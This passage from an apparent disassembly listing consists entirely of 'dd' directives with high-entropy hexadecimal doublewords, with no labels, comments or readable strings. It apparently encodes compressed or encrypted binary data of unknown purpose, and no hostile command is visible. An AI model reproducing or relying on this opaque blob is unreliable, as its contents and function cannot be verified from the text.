		dd 700EF879h, 27ADF71Bh, 0C9F0055Bh, 75DFA82Ah,	0CCF91D42h
		dd 403281D6h, 400D6265h, 0E46A6DA0h, 85E1EC00h,	1921E282h
		dd 7842470h, 40F60590h,	7E69C09Fh, 0E09565Ah, 7D94DE72h
		dd 0D0E69484h, 7CA3A650h, 7AD6F00h, 0EDF05567h,	0FA13072Fh
		dd 0E0E7D21Eh, 8F4645BAh, 0D0904277h, 50D7D602h, 40AA2D94h
		dd 0FC01F2D6h, 572F007Bh, 0AD021F8Fh, 34EE827Fh, 8B698C00h
		dd 0EA753CFEh, 8E471C2Dh, 0EDA4012h, 20F4C881h,	0F25A3B00h
		dd 56B9ADCEh, 0D67B0039h, 58DF093Ah, 55007A98h,	0A3B57767h
		dd 4CF37316h, 0A800DC54h, 2DC2B1EDh, 0EA0921CFh, 2B1BA9h
		dd 0BBD26758h, 47980788h, 43EF68AAh, 0F10091B4h, 0FC9CC9DDh
		dd 0CBF2E6h, 358844DBh,	544C3E41h, 195EE51Eh, 21C91DC0h
		dd 1A02ED8h, 24013804h,	307C5B3Dh, 0F11285CFh, 800E627h
		dd 70BF484Ah, 0B24D1633h, 0F38C4757h, 7C8CD0DBh, 0C5004EA4h
		dd 316FBE3Eh, 0CF52EEh,	0D2FAB9C6h, 8FA6D68Bh, 7CE93300h
		dd 6CD00141h, 89C90069h, 63233EFFh, 3A4C6B34h, 70F90388h
		dd 0F8AD8780h, 1E8A0FE0h, 839F190Ch, 7ACD843Bh,	8FD920F7h
		dd 40E124Ah, 7666CAh, 0CC08D3C4h, 0E62B3F73h, 0B5AFDD00h
		dd 40884721h, 941EFC00h, 21C0781h, 780A248Dh, 7BE700C4h
		dd 0FBDFBB3Ch, 0B4F4411Dh, 0AEEBAD83h, 458288E0h, 0A0810723h
		dd 40AFCBEEh, 64FB6FF0h, 0D300E6EEh, 159E6E0Bh,	59C16h
		dd 9A9079D5h, 64D4DD8Dh, 0CDFB6216h, 6ADFE200h,	2A25FCh
		dd 453C526Dh, 0B688630h, 6E9A190Fh, 9B02C0F0h, 4654AFBh
		dd 0A4B03DB7h, 191CC623h, 1F031C90h, 0D7D2FC0h,	64CAE0EEh
		dd 0C6900063h, 3DD6109h, 3F003099h, 496B8758h, 3C30FE2h
		dd 0E7D14828h, 0F2895C94h, 0D573E039h, 0DA8F7E01h, 6FA5AF0h
		dd 25458CECh, 0E4A0B441h, 0F6159D60h, 26177512h, 0D6733807h
		dd 0D8E465B9h, 0CC100BB5h, 0B4C7264Bh, 809495C6h, 0C2B91048h
		dd 0C4788E00h, 13375075h, 41C64A25h, 0E69C2F74h, 94208EF6h
		dd 35F082DEh, 18180FA2h, 0C1003EFDh, 4913DD0Fh,	0EAC95D8h
		dd 434FABCDh, 7C65E540h, 1D7C944Ch, 495AED00h, 0E197CD7Dh
		dd 0F693E69Eh, 21F4EFh,	6148A29Ch, 0D8B637BCh, 848EC50Eh
		dd 0FC438014h, 0C7D089h, 0BDA70D35h, 10DFFD51h,	90DEBA00h
		dd 913EF341h, 3DCA4EA3h, 4210FA0Ch, 0DCAB8039h,	0C0362400h
		dd 7CFC1E5Fh, 0AD6E1E7Fh, 0CEF810DFh, 8A8381A7h, 0B160E4B3h
		dd 76F4E10Bh, 0D83103FAh, 0F63A889Fh, 2856B298h, 2F5D6E0Eh
		dd 0AF9EC07Bh, 7287B0BAh, 91181FA1h, 1C3E409Fh,	0FB5E53A3h
		dd 0A75ADC00h, 0B86E728Dh, 0E0A80129h, 0CFD51C87h, 2048D852h
		dd 16BAA403h, 0E82E7693h, 699EDFh, 1B49DD2Fh, 0CA79B44Fh
		dd 0B243E800h, 0FEE2759Fh, 78A200B6h, 0C02B56B0h, 37F23062h
		dd 65DDAC00h, 0A4AD9CEAh, 456F86Dh, 7068CA97h, 4E6CB03Bh
		dd 64BB9001h, 7CC320Eh,	1D992DCh, 0D36A790Bh, 108CB46Ch
		dd 0FED40C1Bh, 3E607C6h, 60EF5FFBh, 0F57EC3DCh,	0AE0F0E25h
		dd 9D13AE88h, 5AC0C20h,	7C10F310h, 60BC8558h, 4DBF8D51h
		dd 1333304Bh, 0A56CAE39h, 0C9B63Eh, 0D70CED02h,	327C48h
		dd 0C4A84CF5h, 1AA71966h, 2DB31807h, 0A481FC0Ch, 848E7D93h
		dd 7938140Fh, 69D84A0Eh, 0FB5290h, 0DB5A7CA1h, 0B871E5ABh
		dd 0C28EC3Fh, 2962450Eh, 3A84909Eh, 0D200A6A4h,	0F301D3B1h
		dd 93011C4Bh, 0E54AB22Ah, 744033A2h, 2491F260h,	57E85ECh
		dd 81DE3014h, 508D1DDDh, 8A1A4680h, 1FA6CF00h, 8065E6BCh
		dd 0E2D50F37h, 4D063A9Ah, 50011DCh, 1A71D74Bh, 621C0F92h
		dd 0DBB4C9F2h, 3E664A21h, 26120FCh, 64E9E2D8h, 0CB60FCFAh
		dd 13184F34h, 7B798137h, 6C2F0006h, 0C76A45AAh,	15009685h
		dd 3D7EEB37h, 0ADAFFh, 682B3AF9h, 705706BFh, 7A004FFEh
		dd 0C20BC07Eh, 6926C8h,	1F29F6A3h, 988B82D0h, 6A72D3Dh
		dd 0F39FD401h, 21B96008h, 38988164h, 55BF3200h,	80C3346h
		dd 6E2400E9h, 8CB14E4Fh, 4B181BD7h, 931802E8h, 30AB3BA2h
		dd 3F429407h, 16C260C7h, 0D00F258Ah, 847E319Dh,	220C8D43h
		dd 5C00C469h, 6321F1B0h, 17DF727h, 0F0CB7533h, 80D022CEh
		dd 0B536FF28h, 0C1F5AFCh, 2F9C25D6h, 21C00E08h,	0EEB5015Dh
		dd 432E2474h, 897E0CC2h, 222C26A0h, 71303382h, 651BF0h
		dd 0D2BE465Fh, 0D3364B21h, 21CEF3E8h, 6865A72Fh, 6F149ED0h
		dd 6DFA0089h, 0B09D3CF1h, 50A0C552h, 17304321h,	8B5A10E3h
		dd 2F22033Eh, 6AE1B69Fh, 24301DA8h, 4E0FAD00h, 35717465h
		dd 46A43E92h, 0C5776F80h, 901450F5h, 5B01D101h,	62B0D24Fh
		dd 0A16770h, 464B039Dh,	3A470B12h, 5B28BA24h, 0DFF35207h
		dd 0C486076h, 1F40CA33h, 0C5309E18h, 0FF946084h, 763D3D96h
		dd 22D1D303h, 30074D02h, 2BBF577Ch, 1EF0284Dh, 2119C4A1h
		dd 6F51C03Ah, 8C60350Fh, 6D38F1A9h, 27400099h, 7BEF156Ch
		dd 4E00B5D9h, 0D2B13508h, 0C01DFA57h, 0E0FC5351h, 9076ED77h
		dd 0FFA0C101h, 0FD2B2102h, 0A2A6F0h, 38C60741h,	1CD1D9EFh
		dd 95260118h, 0E1DBA8h,	0AD5FFD1Eh, 0DCEC5D9Bh,	0AE3031FEh
		dd 0BB212073h, 395CA01Ch, 32E8B1h, 26C1F27Fh, 0B8D07648h
		dd 0F3FB2301h, 0D1150A11h, 60F7D0h, 8CB0AD1Dh, 0C1D9F253h
		dd 8FDBE31h, 20841023h,	80B0822Ch, 9D2481B3h, 52F87300h
		dd 31B7DE79h, 94207FBh,	0E0CB3D70h, 0E5DA8EFh, 8F92F73Ch
		dd 0B8C4F5AFh, 367C068h, 0C1721913h, 0BC97F99Dh, 21C0EE08h
		dd 0A13609Eh, 0CBC20033h, 5D4F3893h, 0D0602431h, 0DDEB3DA9h
		dd 524618AEh, 187110DEh, 0C9682C00h, 0D0D22469h, 67217439h
		dd 10FF216Fh, 0A436672Ch, 5557D500h, 46D03FF0h,	0D7810C9Fh
		dd 82A8EFAAh, 1364028Ch, 0AA697562h, 0A710C219h, 0F2001361h
		dd 2A691BCEh, 1FE5CC3h,	0F83D2BC4h, 0B19B440Fh,	22118092h
		dd 8EAFF0h, 6AF282EDh, 52D7053Fh, 0B7891000h, 0F088C351h
		dd 31AD6068h, 0BCF2546Fh, 1FD66501h, 0E7D3E4D8h, 0ADFC00E3h
		dd 0AE6EF4FAh, 0E4AB28A1h, 0B0E76084h, 0E2532386h, 12002411h
		dd 0E5CDB0ACh, 0D007A1Eh, 0D241A0D6h, 0A220D9A7h, 0E3B000B4h
		dd 0C032FD9Fh, 1C9DCA10h, 947E9142h, 0F28110Eh,	1C0FF79h
		dd 3BE96C5Ch, 0E07DFCB7h, 0C89E0338h, 15E3BC4Ah, 0EA33080h
		dd 49CCF004h, 0B1801BA4h, 467C60h, 31AB1727h, 1ABFA935h
		dd 529F0600h, 246E5802h, 908F0346h, 6AF3176Fh, 549D7790h
		dd 0C197A100h, 3AC8898Ch, 634400CFh, 34D1B0B1h,	5900FA0Fh
		dd 5D2A9790h, 22DF63Dh,	689F8437h, 0C7C0467Bh, 0BC07EEDCh
		dd 1A623AC5h, 0E6FE251Fh, 0D2812E80h, 4D98019Dh, 23EB8794h
		dd 83C7D8C3h, 270055F2h, 0CA5C9F26h, 3F1C69C4h,	700029F7h
		dd 0E6507139h, 0D73AB289h, 9A239D42h, 0CA66857Fh, 80003A99h
		dd 5B7B1E78h, 18320075h, 93D4F11Ch, 260031C8h, 0DC8605E0h
		dd 77A5D7DAh
		dd 704177C7h, 0AAC43CF7h, 74449905h, 7FACC0EEh,	0FB001F30h
		dd 45AF0D7Eh, 39BA2ACDh, 4680A273h, 29DBB5F5h, 0F400D641h
		dd 76710C66h, 2562510Eh, 0B6832602h, 0D3B065F1h, 0C3FEFF8Ah
		dd 83016C00h, 6E846635h, 0E9BAA0B3h, 103B1CF4h,	0F44164Ch
		dd 1C80C491h, 560BF73h,	0AF07D7E0h, 0B6310679h,	49C91031h
		dd 3B89F0h, 0E85D04A3h,	226A40ABh, 11205761h, 0D5F802D7h
		dd 0DEBA005Eh, 0C5FD49E9h, 380036C0h, 3B1A5F68h, 0E132110Eh
		dd 0DFB62988h, 90CA9188h, 0A6BF826Bh, 24205A0h,	33292128h
		dd 23E71702h, 2928533Dh, 0BD3228DEh, 10232932h,	0AA885484h
		dd 276688DCh, 7E08CF89h, 84A65744h, 4236ED22h, 4DB5111Bh
		dd 22393221h, 64C75035h, 0DE6C457Fh, 0CF561482h, 75219324h
		dd 81981751h, 0BD234A43h, 5074CCDAh, 0EDB16A06h, 1477A8h
		dd 0BC0AD644h, 5EB5F005h, 9B67E100h, 0F478C380h, 33501D3h
		dd 0C14B6AEFh, 0ED8AD070h, 68899F07h, 7A21FB83h, 0BD40886h
		dd 8B6D00F1h, 7E9B4995h, 6200CAD2h, 39DC3B06h, 1E1105E4h
		dd 803F3DECh, 37184361h, 5A007256h, 2814CAF8h, 0AA6626h
		dd 8199270Dh, 3574187h,	9B00D7FEh, 86ECC3D6h, 3BAB6A10h
		dd 0AF8F891Dh, 0D8818769h, 8E6219DEh, 3EAA1F21h, 10D1A58Ch
		dd 2CB50044h, 352A9EBCh, 0E1006805h, 1DC2E48Ah,	1C7A2972h
		dd 80E33A45h, 14BB35E6h, 31047889h, 75C1E8F2h, 0BF805884h
		dd 3C4D37h, 588F2FA7h, 1DD76461h, 0EDDF2707h, 0A0BFD9FEh
		dd 671020A6h, 0AAE20772h, 0F16242E3h, 0E8FC3F2Ah, 8D07F7C5h
		dd 0C7EE601Fh, 0C1305E50h, 67CC1E87h, 0B200FC5Dh, 84A5DF0Dh
		dd 0D04CB9F6h, 6C141CA5h, 0EB78C6D8h, 0FFF00DEh, 8520941Dh
		dd 6400EA06h, 82D86A6Ch, 0E5850h, 0F56799DFh, 92BF4837h
		dd 32F1950Ch, 20FAD01Bh, 4D0146E9h, 0A08803F6h,	0D0D3D9DAh
		dd 73A8A3B0h, 22CD00E7h, 55C57DAFh, 6600EE9Ch, 1BCCC9FCh
		dd 0A2B5Eh, 0A21A804Bh,	0E00D4873h, 6100B879h, 1D3AD2B9h
		dd 515AF3Bh, 976F4F51h,	0AE1780E3h, 7F00757Bh, 0CB84B457h
		dd 0B00CEFB3h, 0CAA807D6h, 4E969001h, 115C6061h, 17ED6025h
		dd 0D68E800h, 401044EFh, 0FD890779h, 1E3635F9h,	0AA5545C0h
		dd 0A35BAC7Eh, 0F700F6B8h, 0E7673CCAh, 0CC005CA5h, 0B981C2D1h
		dd 0FD395DBh, 0A048066Fh, 0B5D1A60h, 60FDAFCEh,	6D002787h
		dd 0DA3226C7h, 0ABF9A5C5h, 72F4C980h, 16717510h, 0FDB38200h
		dd 97A68339h, 68170023h, 0CAEFA406h, 0DD079A42h, 0F87B4B94h
		dd 1E3ED0D0h, 6C534CBDh, 0DF611D00h, 0F27075D3h, 0A37F0300h
		dd 15D2F382h, 181402FEh, 7458A759h, 0FC41D980h,	101C806Eh
		dd 0EBC2BE52h, 60A2E862h, 1A96C48h, 0C1C4D5B6h,	0C02B9B7Ah
		dd 2E9C449Ah, 0A5F32301h, 8421EB0Ah, 3708860h, 0E20907DBh
		dd 0C79971E5h, 0E499D8E8h, 0F9B6CB00h, 0DA3C04AFh, 768F0009h
		dd 824D0DFCh, 0E876F58Bh, 188D49h, 73F8C384h, 7D994FAh
		dd 826ABA8Ah, 8BF1C034h, 7500B129h, 1E0D2D89h, 30BFCB2h
		dd 0BE44525Ch, 20E790A8h, 0AD861CAh, 0B77ADD00h, 9F8A83DAh
		dd 6AC600BAh, 2F496DEFh, 6C5042D3h, 0B9F0ADE4h,	6B952400h
		dd 8C6F581Dh, 0E16100E9h, 1431B68Bh, 900CA48h, 0DA2FB092h
		dd 0EC4DFh, 37C08C3Ah, 4A5C7AB8h, 2546E300h, 7FFCF91Bh
		dd 0C2AA008Dh, 0B11242C1h, 0F400D38Bh, 35BEB419h, 0F6AE6674h
		dd 4B130714h, 0B0482D9Bh, 96EBDF5Dh, 0DB886C00h, 49C84030h
		dd 72F01C3Bh, 0FB4B80B8h, 4F1B8145h, 0EA0F5B00h, 0B07B1761h
		dd 0E5A9ECAh, 720226FFh, 0BB400E51h, 0CE00FDDBh, 3A2831C7h
		dd 132FE1C9h, 8A24A5h, 0E23C63A8h, 0EC1C7AB3h, 5DC0F235h
		dd 6C5A1654h, 8F100E1h,	4B66E52Eh, 9E007E0Bh, 26A6EA97h
		dd 72FA3Eh, 46983E8h, 8C73424Fh, 0DF88F300h, 48909145h
		dd 7B498D3h, 0C25BD76Fh, 0DE2303CEh, 6240CDA0h,	8B74E738h
		dd 0AE7037h, 7A9E1CFAh,	5BF000A4h, 2F3F7FF8h, 0D01FCF53h
		dd 6D5D6AF2h, 0CC83FA40h, 0A48403h, 47AC15CBh, 5B3E08FEh
		dd 0BFE6CA00h, 0DEC9EB07h, 0C7F10090h, 49164EF4h, 51985DC6h
		dd 45321500h, 0C2F7307Bh, 0E44F125Ah, 173800D7h, 0E2ECAB9h
		dd 3D1A0109h, 1A7881h, 38C0B225h, 96124669h, 5F419E00h
		dd 2AFE81B6h, 0E7A50058h, 256C421h, 0CE3C8997h,	0F3B20046h
		dd 0C21B6C9Dh, 0D2FB0047h, 4B6392D3h, 0FA04ECF8h, 6BB3F69Ch
		dd 0E96E3C80h, 32A00D9h, 50060C57h, 8D000453h, 0C551AD59h
		dd 7C7328h, 904411F1h, 6B972EBEh, 5C1CA00h, 6FE5DCFEh
		dd 43E80073h, 0BC8F261Bh, 0E2174634h, 80400250h, 0E672E31Eh
		dd 0B0C64C0Ah, 59A30078h, 0D43B510Bh, 0B300BD6Dh, 0E0FB6F28h
		dd 0D896C2h, 7D3171BCh,	0CA1BEE3Dh, 0DE6CC00h, 0E9624D2Bh
		dd 51E300DFh, 93DAA210h, 0B70026D2h, 48FB7E4Ah,	64AD808Fh
		dd 0C0BA7805h, 0E715BD00h, 0E3777B00h, 0D8845F36h, 0A3E0087h
		dd 4A6DA699h, 0D41C572Ch, 7580ED9Ah, 68F272Fh, 17DE00A9h
		dd 0C67CD3E5h, 350079F4h, 0AF3B581h, 0E0119E9h,	4E54A0CEh
		dd 0A8429F60h, 4617E54Fh, 0C70EE65Eh, 1A41453h,	0E1A591B5h
		dd 0F8CF8A7Dh, 5A35F2h,	7F9B9AE8h, 0B4DE04BCh, 7E95058h
		dd 0B9C6849Dh, 0F025F310h, 51E6001Eh, 6892556Fh, 9600AB33h
		dd 99C35AD5h, 3F3E547h,	34C88928h, 0FAE8FDA8h, 0A6007A56h
		dd 389D2205h, 0E411ABh,	0C4BDF27Dh, 715B59AAh, 7FFE1348h
		dd 73D91600h, 65EEB158h, 3042006Fh, 6E7AB72Eh, 0EB0E5A41h
		dd 0A087105Bh, 86FD015Eh, 0F4BF272h, 5409A976h,	0A8BB3801h
		dd 9A30E470h, 23B22400h, 97EE8E43h, 67950058h, 7C458AE0h
		dd 32F6B429h, 0CB6A2D0Fh, 0ECD360B1h, 0B8841Ch,	45E896A7h
		dd 0BC4C49D9h, 639CBA00h, 0BB43F960h, 4F3D007Fh, 3FA1AB7Dh
		dd 0AD2C2191h, 0CB0370DEh, 98CEB3A4h, 3FFA9DBAh, 5D80F2B6h
		dd 0BF3CF310h, 6B7B6ACBh, 92587D00h, 0ABC52EB8h, 0EDA90049h
		dd 41E887A2h, 0E8FF937Fh, 3C005459h, 39DF8EBEh,	14D056EAh
		dd 0EA1A504Bh, 2474A700h, 40E8A53Fh, 595A0204h,	15C0354Ch
		dd 197099h, 7A53AAAFh, 8D0AA227h, 0CF006698h, 7298871Dh
		dd 1CEB2279h, 5CE27Eh, 895071C5h, 95E41B36h, 0DCAA0900h
		dd 0B83D42E8h, 35FB0778h, 60B2639Fh, 2B2CD0C4h,	2A00AD78h
		dd 60B0F479h, 494894h, 92ED5E6Fh, 1532446h, 8073E439h
		dd 81CE8799h, 5D36B35h,	0AA789E51h, 68E000F4h, 0CA5CFF61h
		dd 8A776704h, 2BC775D4h, 50A6B700h, 4CD002F7h, 619E8FC3h
		dd 7594C0C0h, 23609800h, 0EF4ED545h, 628D055Ah,	0CE528Ch
		dd 3B472BB0h, 827D7E15h, 0B8A46300h, 0E09587BBh, 0D76503B1h
		dd 5DEDE55Eh, 0CB66A0B8h, 0F16AD600h, 18A92AC2h, 2E3518EFh
		dd 2B62A008h, 9963FB00h, 29F6C4D9h, 20DF1C8Bh, 140A80B9h
		dd 0BECDB0A2h, 4FE6FE00h, 0BB91D6A5h, 56EC0115h, 9CA23B24h
		dd 0FA61C094h, 27B9E304h, 30801C34h, 7E95438h, 9703B7C6h
		dd 0F975E130h, 1A1860B0h, 0DBD82700h, 26BCEE0Dh, 43180186h
		dd 0EAD9AF2Ch, 8E45F0D1h, 0CD107100h, 2117B9DEh, 67F10061h
		dd 8BFDFB2Fh, 9C014AA5h, 1966C7BFh, 40FEBB42h, 0A0BD18h
		dd 36689978h, 62ADA1A7h, 0C04D90A0h, 0F5548900h, 0BDD6BB96h
		dd 9E7F009Dh, 28A734C4h, 767B1C20h, 4D948A03h, 0FB73A940h
		dd 8009C291h, 88840694h, 2C1C053Fh, 0C0AC0F9Fh,	0AA3A5FB5h
		dd 46002090h, 5377A747h
		dd 1411C9Bh, 9C6F95ABh,	0FC79EDB0h, 0CF0001C6h,	0AE3F8437h
		dd 50915BD5h, 20949403h, 6000028Ah, 75F0D2E1h, 972AAE4h
		dd 0EBB327F4h, 7B389818h, 2C3A2501h, 8E836015h,	7512DF8h
		dd 0F37D45Ch, 72083013h, 0FF004E2Fh, 0D364D00Ah, 50A1A5D1h
		dd 2865AC8Dh, 0B82506h,	0D7E64994h, 6CB65B80h, 0CD15DB1Eh
		dd 90EF141h, 3881EB31h,	638FA3ADh, 17A4709Dh, 0D6A7D000h
		dd 18288280h, 706600C4h, 6CA564B5h, 9A000381h, 206FD9BDh
		dd 0FB3E477h, 2243BE15h, 2B426BE0h, 3B04F139h, 4DE8B26Eh
		dd 0F492191h, 71AA5C20h, 0F0A1249Eh, 92590254h,	0C620CA2Bh
		dd 0E2C9C5h, 0CFDF6CDDh, 1C121E6Dh, 0BF03FA79h,	0E084D9A3h
		dd 0C25AD037h, 55EB1E7Eh, 0BAF0C325h, 0C0A88A3Ah, 0C5017488h
		dd 90686FFCh, 540027D1h, 8E45C8h, 3B0656DDh, 0E9408A58h
		dd 0AE3E3704h, 509026B3h, 7E65FCh, 9BC95554h, 4CA8C6E3h
		dd 0A9906A00h, 83F70B7Ah, 0ADA4039Ah, 4AD3B991h, 3F4D79E8h
		dd 0FEAE4002h, 687B4839h, 4565ABCh, 8C61F6C0h, 0C510C0A8h
		dd 46262610h, 0B700E854h, 1ED121D3h, 0F71D0001h, 8A9E11DDh
		dd 3300FAE6h, 518DC307h, 98C53FF9h, 7C6500F4h, 738BDDDCh
		dd 58B01E35h, 0E89BAF00h, 0AAA1D939h, 5FA730DEh, 463F388h
		dd 0D5FA70E5h, 0C4005CEEh, 60FB7B71h, 3486EFh, 7A14BC7Ch
		dd 30F75D7Dh, 0E2712900h, 4DF4AB6Ch, 4708003Dh,	1B48C7F5h
		dd 0F000AC12h, 0B21FBFCDh, 10C5CF9h, 5B2FCC0Bh,	0D86A9B32h
		dd 1DF42EA0h, 7DF7BB00h, 0C7A4E79Ch, 2CAB02ACh,	9641D73Dh
		dd 4D045440h, 2C09F940h, 264B8C92h, 374E0083h, 0F40CC3Ch
		dd 751EEE01h, 5AF9B8CDh, 599060h, 3B720E83h, 2D55C116h
		dd 22B94E00h, 0E0395C27h, 750B00CAh, 34CC0E1Bh,	0CAB8E6DEh
		dd 0F2012C77h, 0A55B0D3Ch, 820D366h, 0AA460368h, 0BF793218h
		dd 0FADE3F98h, 0FE003CB0h, 17CEF892h, 0EA5DFB08h, 144DFC2Bh
		dd 0C643E166h, 22818C39h, 6B88F48Dh, 0F5A080BFh, 5B56BD58h
		dd 8C01DE6h, 0FB3AC06Eh, 1889CC69h, 9846AF29h, 3784EC80h
		dd 12FDB6h, 0C06C9594h,	0C79133D0h, 200F27Dh, 0A4C3EF8h
		dd 3EA540DAh, 0F82533Fh, 0C1683AECh, 347085F5h,	0A65245C0h
		dd 16ED30A3h, 8E80A958h, 44D0871Dh, 0AE4F7240h,	8F3BCBh
		dd 9057B1DAh, 9DD239D6h, 6B504400h, 0ACA24F33h,	96690014h
		dd 0B00A809Ch, 1F0098A3h, 3B6B7A9Dh, 7A954F4h, 0FAD1AF0Ch
		dd 3020B94Dh, 0ECB47323h, 85FF7C09h, 614500E3h,	10B0E1h
		dd 0D672D1Ch, 4C870A6Dh, 0A0C18D0Fh, 0D771E019h, 985C255Bh
		dd 1E5E29Eh, 0A26B63BAh, 20D5617Fh, 0C6008230h,	23010C2Dh
		dd 24B8E06Ch, 2A8BE9Bh,	4E5733DCh, 0EB830FC0h, 28E49800h
		dd 8470A91Eh, 9296005Ch, 6A1B1379h, 0D2000E08h,	80CBD90Ah
		dd 7AA48A50h, 13FF5C1Ch, 9D0C9E07h, 384042AEh, 8CC06E2h
		dd 182C0F00h, 886DE4D8h, 5430E1A5h, 0BEEA13FAh,	0E81440C2h
		dd 3C16DF61h, 47EB4603h, 0E0B7235Eh, 7502A98h, 20F99635h
		dd 0AA9D1043h, 0EA007854h, 0FB3C4863h, 70EA8C1h, 0D1C01F65h
		dd 2BEC3074h, 0B400F283h, 0C51A0218h, 3C9E91h, 1789A56Dh
		dd 0B1F993C6h, 0E9105C01h, 0B0E713C7h, 6B887F0h, 0D51E6BB2h
		dd 5E031C5Fh, 0F160F296h, 0A1E8C86Ch, 0D2A802C9h, 28D4C776h
		dd 0D4E14C41h, 4A003D52h, 95F6E024h, 12CF6254h,	78767A8h
		dd 8EB96B58h, 0C005C587h, 68AB38FEh, 378FE400h,	0FD239CE6h
		dd 0AAD300ECh, 702F3F14h, 8CA1169Fh, 41A0FC13h,	1E00277Fh
		dd 0DB2DC5D9h, 0E2FE42AFh, 58C200C4h, 623059F4h, 8E00E71Eh
		dd 0CF94910h, 5CD5D4h, 0B8A02806h, 0D147A1B1h, 0FD0D753Bh
		dd 0F94F4000h, 6C923D90h, 74EB0EA0h, 6D80BB9Ah,	0B9D00304h
		dd 0E2DDBE00h, 0D870D5FEh, 0A4E300CFh, 0DA247C45h, 0F60044CBh
		dd 3C7820ACh, 0E85542B8h, 5320997h, 4885012Ch, 0FD9400B4h
		dd 0CC89401Ah, 422D6B16h, 63BB8C02h, 0E23C0ACh,	622C00E4h
		dd 8F6B55B4h, 26075FD6h, 82331218h, 3CFBB930h, 11EE004Dh
		dd 2EA8165Bh, 6913E07Dh, 88006DDEh, 67DFA95Eh, 99CF1D89h
		dd 0E0C5CEEh, 0E2E034A7h, 29DCB4ABh, 0C4281701h, 12CB0DD4h
		dd 91429834h, 41400C54h, 0A33F5504h, 9A5B1D9Eh,	681C5E00h
		dd 72E375E7h, 9590023h,	1D5AB443h, 0C1131F72h, 940F7D6Dh
		dd 824AE196h, 67C0663Eh, 6F2B8h, 0A2C3B9F2h, 3662B264h
		dd 905B8707h, 0BB70EB41h, 445D66BFh, 8469DBh, 6CAC4F1Ah
		dd 0CAF58DFFh, 27204107h, 0B0245411h, 3A14A0C0h, 0A0FB4958h
		dd 45363104h, 0FCB806E3h, 4E0A3811h, 65F84D00h,	6AC87CCDh
		dd 1426E20Eh, 0CC77A366h, 86781406h, 3980A4C1h,	3F637164h
		dd 2FFC5703h, 0F9DF3D43h, 76E8C10Ch, 7C8B00F9h,	9697FD05h
		dd 3898544Dh, 0E30F9C1Fh, 224CC04Fh, 4815D50Bh,	0EA1DA98h
		dd 4211719h, 12C0428Fh,	45F6E4F8h, 0A7DA38C0h, 2FACF1F2h
		dd 6C787393h, 78AF1C1Ch, 2C401EC0h, 399077FCh, 0B5BB14CEh
		dd 0A9171100h, 2AB763BEh, 0E1254301h, 915924A2h, 3015F8h
		dd 19659B97h, 0B2EB5DA6h, 3F9FD001h, 0F97A3163h, 4A163C30h
		dd 904C1234h, 277C8C6Ch, 4E2C4A00h, 30F5564Bh, 0CBC2008Ah
		dd 0E4BB716Ch, 0C000487Eh, 0A93AC90Bh, 1DF5E11h, 98588F15h
		dd 702A6340h, 0F92E0490h, 1200C0F2h, 694EE644h,	746D2EF7h
		dd 0DDEF8F60h, 596BC027h, 0CF03A864h, 0B5FC76Ch, 45290723h
		dd 0E08B68B9h, 9FEC227Ah, 248FCD26h, 1333E400h,	1B87BDh
		dd 17B9E1D9h, 0F34D7A95h, 0B7078800h, 74D36C7Dh, 6B6A00E3h
		dd 0D5E139B2h, 23EE412Bh, 7A974503h, 593E60h, 303A6811h
		dd 4E1F9EEBh, 0FBD5D803h, 0B1A32238h, 6E490EAh,	9820E560h
		dd 0A2D3008h, 1304D118h, 0F2FDEE26h, 12DFFF00h,	3E82B3AAh
		dd 0CA847833h, 0C06E8947h, 0BFD68A78h, 0F4D94Dh, 5387BA95h
		dd 0C0AC31E7h, 885B7220h, 6096CB92h, 24460400h,	227120Dh
		dd 0D09A150Ah, 0A05AD72Eh, 0E9607413h, 62963700h, 0FCE552h
		dd 936AFBF6h, 0C059D276h, 0EE075000h, 0A3A704E3h, 0F1700AFh
		dd 0B8416F2Dh, 6134515h, 57036BA8h, 0B065B0B9h,	1F8E5BEh
		dd 3EA94033h, 3CD22F75h, 1F7E002Ch, 0C4F56A57h,	5FA0621h
		dd 4904BA77h, 24110824h, 0A40337A8h, 0B7BD02B6h, 8063D374h
		dd 0DC10DFh, 1A13DAE3h,	7FE6AE14h, 381C9D90h, 68C07220h
		dd 9ED570EBh, 370600EDh, 347C8988h, 0BCEE87B4h,	400B27Fh
		dd 0CD68C384h, 2115CB9h, 0E3B6C60Ah, 0A8C34AC9h, 0CF9C99D0h
		dd 32AA1903h, 0A7F8CE39h, 9D468590h, 0AB08077Bh, 739F9B21h
		dd 7FF81FFAh, 7A0722B1h, 0A211D5A4h, 7EEC0AB0h,	0F23F0029h
		dd 0B10FE7DBh, 0D3005730h, 1FD366Ch, 0E34288Bh,	0F8049FB9h
		dd 0C48E2020h, 4A004C0Eh, 0A6FCFACh, 0D384F0D4h, 55B209B0h
		dd 0B6E08900h, 0DA009443h, 0FCCC1A0Fh, 5BDC3Dh,	0F8A7E58Eh
		dd 406EC03h, 0EC8C400h,	69BC15E9h, 67920070h, 54831BC0h
		dd 0EA07DF8Ah, 9F26322Bh, 7BDC8760h, 0EB81129Dh, 0F7DD004Bh
		dd 9CB2BDF9h, 5C36EE0Eh, 0C48D8357h, 680AC8B6h,	0C32800D7h
		dd 2B4E0150h, 0E7002AA7h, 0F95862E9h, 144A1AAh,	77AB8159h
		dd 70F7A21Eh, 0C903F18Ah, 873214D8h, 2A49908Ah,	9C463C64h
		dd 644F5918h, 2819EA52h, 0F238ADB9h, 543EE0h, 85FEFF33h
		dd 45EAA17Ah, 3D9D6E00h, 0C32F5DAh, 5A0400ECh, 158D180Ah
		dd 4300BA28h, 48C3B072h
		dd 1F36A0D8h, 4974E5h, 374A5409h, 0D00ADF2h, 1933B04Bh
		dd 4261F1h, 410F2577h, 310EDD5Eh, 0F5D3D005h, 0CC053568h
		dd 6180C564h, 4FB4AFh, 25277FECh, 0D02D6051h, 0CCA4AD00h
		dd 45E871F6h, 0AB7DB5h,	5AEE7A9Dh, 0A3C1EDA2h, 0B600FFFAh
		dd 0B2380447h, 9059313Ah, 6F94385Ch, 52F9378Bh,	0C4876580h
		dd 13070526h, 0DCFBDEA0h, 21676D90h, 0D38B00C8h, 44429CB1h
		dd 0CC00E2CBh, 66110591h, 0F7058F6h, 19035AC2h,	3ED83D60h
		dd 6EFCF3DBh, 0BE938914h, 0D69505B8h, 0C000D58Dh, 0ACC29205h
		dd 0D12D16BAh, 0F307016Ch, 0E6417724h, 2900C089h, 2018B3FEh
		dd 3B00E248h, 0F2E40042h, 0A98295CEh, 1137246Eh, 0B8640108h
		dd 0DC156F8Bh, 725C178Ah, 1E355889h, 2880BFA2h,	9B4A9105h
		dd 15FA83h, 0AF0C57FAh,	4E7BB0BBh, 0D9A7B212h, 0A34C6407h
